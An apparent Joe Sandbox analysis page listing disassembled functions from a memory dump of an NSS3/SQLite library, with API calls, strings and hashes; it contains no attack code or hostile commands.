Opcode Fuzzy Hash: 5b4b545f7275acebe29ba7064df900cc4faa71f8cb551540b64258f143ab4e0d
Instruction Fuzzy Hash: 8D62EF74A042458FEB04CF69C880B9ABBB1BF49318F1E419DD8565BB92D735F8C6CB90

Function 6CB7FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CB7FD06

Part of subcall function 6CB7F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CB7F696
Part of subcall function 6CB7F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CB7F789
Part of subcall function 6CB7F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CB7F796
Part of subcall function 6CB7F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CB7F79F
Part of subcall function 6CB7F670: SECITEM_DupItem_Util.NSS3 ref: 6CB7F7F0

Part of subcall function 6CBA3440: PK11_GetAllTokens.NSS3 ref: 6CBA3481
Part of subcall function 6CBA3440: PR_SetError.NSS3(00000000,00000000), ref: 6CBA34A3
Part of subcall function 6CBA3440: TlsGetValue.KERNEL32 ref: 6CBA352E
Part of subcall function 6CBA3440: EnterCriticalSection.KERNEL32(?), ref: 6CBA3542
Part of subcall function 6CBA3440: PR_Unlock.NSS3(?), ref: 6CBA355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CB7FDAD

Part of subcall function 6CBAFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CB59003,?), ref: 6CBAFD91
Part of subcall function 6CBAFD80: PORT_Alloc_Util.NSS3(A4686CBB,?), ref: 6CBAFDA2
Part of subcall function 6CBAFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CBB,?,?), ref: 6CBAFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CB7FE00

Part of subcall function 6CBAFD80: free.MOZGLUE(00000000,?,?), ref: 6CBAFDD1

Part of subcall function 6CB9E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB9E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB7FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CB7FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CB7FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CB7FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CB7FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CB7FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CB7FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CB80007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CB80029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CB80044

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 39f0e4a72ce793b6307296bd4865425a863f417b851f041f3759ad5b1d0108fa
Instruction ID: e39b5b4733345f59ac7b570ed01a496f77cc48774540924dd38ee6ea6a9aaeee
Opcode Fuzzy Hash: 39f0e4a72ce793b6307296bd4865425a863f417b851f041f3759ad5b1d0108fa
Instruction Fuzzy Hash: 04B1C6715052419FE714CF29C840A6AF7E5FF88308F15862DE9998BB41EB70E945CBA2

Function 6CB77D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CB77DDC

Part of subcall function 6CBB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB58298,?,?,?,6CB4FCE5,?), ref: 6CBB07BF
Part of subcall function 6CBB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBB07E6
Part of subcall function 6CBB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBB081B
Part of subcall function 6CBB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBB0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CB77DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CB77F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CB77F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CB77F98
PK11_FreeSymKey.NSS3(?), ref: 6CB77FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB77FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CB78000

Part of subcall function 6CB99430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CB77F0C,?,00000000,00000000,00000000,?), ref: 6CB9943B
Part of subcall function 6CB99430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CB9946B
Part of subcall function 6CB99430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CB99546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB78110
PK11_FreeSymKey.NSS3(00000000), ref: 6CB7811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CB7822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CB7823C

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: ee5589041d448fc647bde34eb8282d28f9cef4a589d055ce4140e789e3c02f35
Instruction ID: cffbba360d1ee3b29effc97585ddea0dc94d0d18eed10864d7200d913f8b87bf
Opcode Fuzzy Hash: ee5589041d448fc647bde34eb8282d28f9cef4a589d055ce4140e789e3c02f35
Instruction Fuzzy Hash: 21C16DB1D402999FEB61CF14CC44BEEB7B8EB05308F0485E5E819B6641E7719E858FA1

Function 6CB80EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CB80F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CB80FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CB81006
PK11_FreeSymKey.NSS3(?), ref: 6CB8101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB81033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB8103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CB81048
memcpy.VCRUNTIME140(?,?,?), ref: 6CB8108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CB810BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CB810D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CB8112E

Part of subcall function 6CB81570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CB808C4,?,?), ref: 6CB815B8
Part of subcall function 6CB81570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CB808C4,?,?), ref: 6CB815C1
Part of subcall function 6CB81570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB8162E
Part of subcall function 6CB81570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB81637

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 437b65a504ee14badcc5c2fdbbe77dda35c9995542d0590a514692f62c9f73a0
Instruction ID: 4f5e988c82e64566648cb10b2b4a93e6c7053e145eaa75ec7b3f8e8e3c715dc2
Opcode Fuzzy Hash: 437b65a504ee14badcc5c2fdbbe77dda35c9995542d0590a514692f62c9f73a0
Instruction Fuzzy Hash: 1171D2B1E022858FDB00CFA5DD84AAAF7B4FF44318F18862DE52997B11E731D945CB91

Function 6CBA1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CBA1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CBA2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CBA228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CBA23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBA241C

Strings

manufacturer, xrefs: 6CBA2179
serial, xrefs: 6CBA22A2
token, xrefs: 6CBA1F2C
model, xrefs: 6CBA23CB, 6CBA23EC

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: db2a81a910408a6f46d7a403684a1249210e424a20bfb43846dcb4d766dd3b6f
Instruction ID: 771ce2f0b6c67114ff5e358d24a87cdfa25747f602d8c5eee97696ea67aea4be
Opcode Fuzzy Hash: db2a81a910408a6f46d7a403684a1249210e424a20bfb43846dcb4d766dd3b6f
Instruction Fuzzy Hash: E602EF62D0C7C85EFB7186B2C54C7D77AE0D746328F0C166ECADE46A83C3A9554A8353

Function 6CBA6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB51C6F,00000000,00000004,?,?), ref: 6CBA6C3F

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CB51C6F,00000000,00000004,?,?), ref: 6CBA6C60
PR_ExplodeTime.NSS3(00000000,6CB51C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CB51C6F,00000000,00000004,?,?), ref: 6CBA6C94

Strings

gfff, xrefs: 6CBA6D66
gfff, xrefs: 6CBA6D30
gfff, xrefs: 6CBA6CF5
gfff, xrefs: 6CBA6CFD
gfff, xrefs: 6CBA6D9C

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 68e05eabd251887cb2ec7c599d14ffaa132bfa1a06018d684b980a19d0f00381
Instruction ID: 1f070ed46fa680e9aa8d49b852e56291ebacf635bc02a3af5555c313d038c31b
Opcode Fuzzy Hash: 68e05eabd251887cb2ec7c599d14ffaa132bfa1a06018d684b980a19d0f00381
Instruction Fuzzy Hash: 24513972B016494FC718CDADDC526EEBBDAEBA4310F48C23AE442DB781E638D906C751

Function 6CC20F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CC21027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC210B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC21353

Strings

NULL, xrefs: 6CC2119E
-- , xrefs: 6CC20FF5
'%.*q', xrefs: 6CC21217, 6CC21292
%02x, xrefs: 6CC212F6
%lld, xrefs: 6CC2114B
zeroblob(%d), xrefs: 6CC21223
$, xrefs: 6CC212A0

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: cc278862adee28cc52c9b71d9ca82d0d49abe10611e20589fded6bcae3ea9502
Instruction ID: fcd4de0540db3aba5fecb5e4ec9768a7b598a32f8c3e78b15e40a8f496184909
Opcode Fuzzy Hash: cc278862adee28cc52c9b71d9ca82d0d49abe10611e20589fded6bcae3ea9502
Instruction Fuzzy Hash: 49E19C71A083809FD714CF19C480A6BBBF2BF85358F14892DF98587B51E776E949CB82

Function 6CC28FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC28FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC290DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC29118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC2915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC291C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC29209

Strings

UUUU, xrefs: 6CC29255
3333, xrefs: 6CC2925E

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 68969495541cdc334b71ae7939d1020d9bc96671a24eeb9ac933677accb7ddc4
Instruction ID: 9806cc2afc931ff8aea951d8fec200f85fcb0b1d84059b01c3485ab7dc0bdea2
Opcode Fuzzy Hash: 68969495541cdc334b71ae7939d1020d9bc96671a24eeb9ac933677accb7ddc4
Instruction Fuzzy Hash: 28A18F72E001199BDB08CB69CC91B9EB7B5BF4C324F094129E915A7751E73AEC02CBE1

Function 6CAE0FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CADCA30: EnterCriticalSection.KERNEL32(?,?,?,6CB3F9C9,?,6CB3F4DA,6CB3F9C9,?,?,6CB0369A), ref: 6CADCA7A
Part of subcall function 6CADCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CADCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CAE103E
EnterCriticalSection.KERNEL32(?), ref: 6CAE1139
LeaveCriticalSection.KERNEL32(?), ref: 6CAE1190
sqlite3_free.NSS3(00000000), ref: 6CAE1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CAE126E
sqlite3_free.NSS3(?), ref: 6CAE127F

Strings

winAccess, xrefs: 6CAE129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CAE1267

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 21fb817a2226b9fa75ba02caf9265f6914e47451a2b33c3252836284fabbbb0c
Instruction ID: f5a4685d1c7d5b5e0696032e18d30a445c372142674c5a065f002a44216a041a
Opcode Fuzzy Hash: 21fb817a2226b9fa75ba02caf9265f6914e47451a2b33c3252836284fabbbb0c
Instruction Fuzzy Hash: 6B712B317052259BEB04DFA5EC99A7E3375FB8A314F18022DEA1587A81DB30D886D7D2

Function 6CAEAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CC0CF46,?,6CADCDBD,?,6CC0BF31,?,?,?,?,?,?,?), ref: 6CAEB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CC0CF46,?,6CADCDBD,?,6CC0BF31), ref: 6CAEB090
sqlite3_free.NSS3(?,?,?,?,?,?,6CC0CF46,?,6CADCDBD,?,6CC0BF31), ref: 6CAEB0A2
CloseHandle.KERNEL32(?,?,6CC0CF46,?,6CADCDBD,?,6CC0BF31,?,?,?,?,?,?,?,?,?), ref: 6CAEB100
sqlite3_free.NSS3(?,?,00000002,?,6CC0CF46,?,6CADCDBD,?,6CC0BF31,?,?,?,?,?,?,?), ref: 6CAEB115
sqlite3_free.NSS3(?,?,?,?,?,?,6CC0CF46,?,6CADCDBD,?,6CC0BF31), ref: 6CAEB12D

Part of subcall function 6CAD9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CAEC6FD,?,?,?,?,6CB3F965,00000000), ref: 6CAD9F0E
Part of subcall function 6CAD9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CB3F965,00000000), ref: 6CAD9F5D

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: bb8dd74b4ae51bdf4178ac33b8b5276adf9d95b1a62491867216aaf84027b63c
Instruction ID: 18d76edf4e1cfea5ad4aa6258d34eb99125ba203b62d607ab63fd8c77ce7b318
Opcode Fuzzy Hash: bb8dd74b4ae51bdf4178ac33b8b5276adf9d95b1a62491867216aaf84027b63c
Instruction Fuzzy Hash: 1A91D3B0A043058FDB04CF65E98866BBBB2FF49308F18462DE41697B50EB31E8C5DB95

Function 6CBBBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CBBBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CBBBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CBBBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CBBBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CBBBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CBBBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CBBBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CBBBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CBBBE1E

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: d9f48cb1e1959092e419fc3034d367219bb22089872ed2b92e111eea0884973f
Instruction ID: a90d19192efcc51b9dd43062a488277c5a587f26e23576bc33e8b62f4714ba80
Opcode Fuzzy Hash: d9f48cb1e1959092e419fc3034d367219bb22089872ed2b92e111eea0884973f
Instruction Fuzzy Hash: 9F2191B7E042D957FB008A5BAD82BBF3274DB9174DF080528F916BE641EF34D41886A7

Function 6CC68D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CCB14E4,6CC1CC70), ref: 6CC68D47
PR_GetCurrentThread.NSS3 ref: 6CC68D98

Part of subcall function 6CB40F00: PR_GetPageSize.NSS3(6CB40936,FFFFE8AE,?,6CAD16B7,00000000,?,6CB40936,00000000,?,6CAD204A), ref: 6CB40F1B
Part of subcall function 6CB40F00: PR_NewLogModule.NSS3(clock,6CB40936,FFFFE8AE,?,6CAD16B7,00000000,?,6CB40936,00000000,?,6CAD204A), ref: 6CB40F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CC68E7B
htons.WSOCK32(?), ref: 6CC68EDB
PR_GetCurrentThread.NSS3 ref: 6CC68F99
PR_GetCurrentThread.NSS3 ref: 6CC6910A

Strings

%u.%u.%u.%u, xrefs: 6CC68E74

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 506294d968a59e949aa5d23a128dfcad9ca76764bdaaca54c5e21e13d682a50b
Instruction ID: 35d555b28950e16e07f1714fab9cf9930c5d7b48795dc1ba10d5fd7b186ff331
Opcode Fuzzy Hash: 506294d968a59e949aa5d23a128dfcad9ca76764bdaaca54c5e21e13d682a50b
Instruction Fuzzy Hash: B002B9319052518FDB18CF1BC5E8B6ABBB2EF43314F29825AC8919BE91E331D949C790

Function 6CAEEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6CAEF957, 6CAEF9BA
sqlite_master, xrefs: 6CAEF0AB, 6CAEF2DA, 6CAEF757, 6CAEF93E
table, xrefs: 6CAEF05C, 6CAEFABC, 6CAEFAC7
%s %T already exists, xrefs: 6CAEFAC8
view, xrefs: 6CAEF061, 6CAEF071, 6CAEFAB7
temporary table name must be unqualified, xrefs: 6CAEF734
there is already an index named %s, xrefs: 6CAEF9D7
authorizer malfunction, xrefs: 6CAEF95C, 6CAEF9BF, 6CAEFA5E, 6CAEFA8B
sqlite_temp_master, xrefs: 6CAEF0A6, 6CAEF2D5

Memory Dump Source

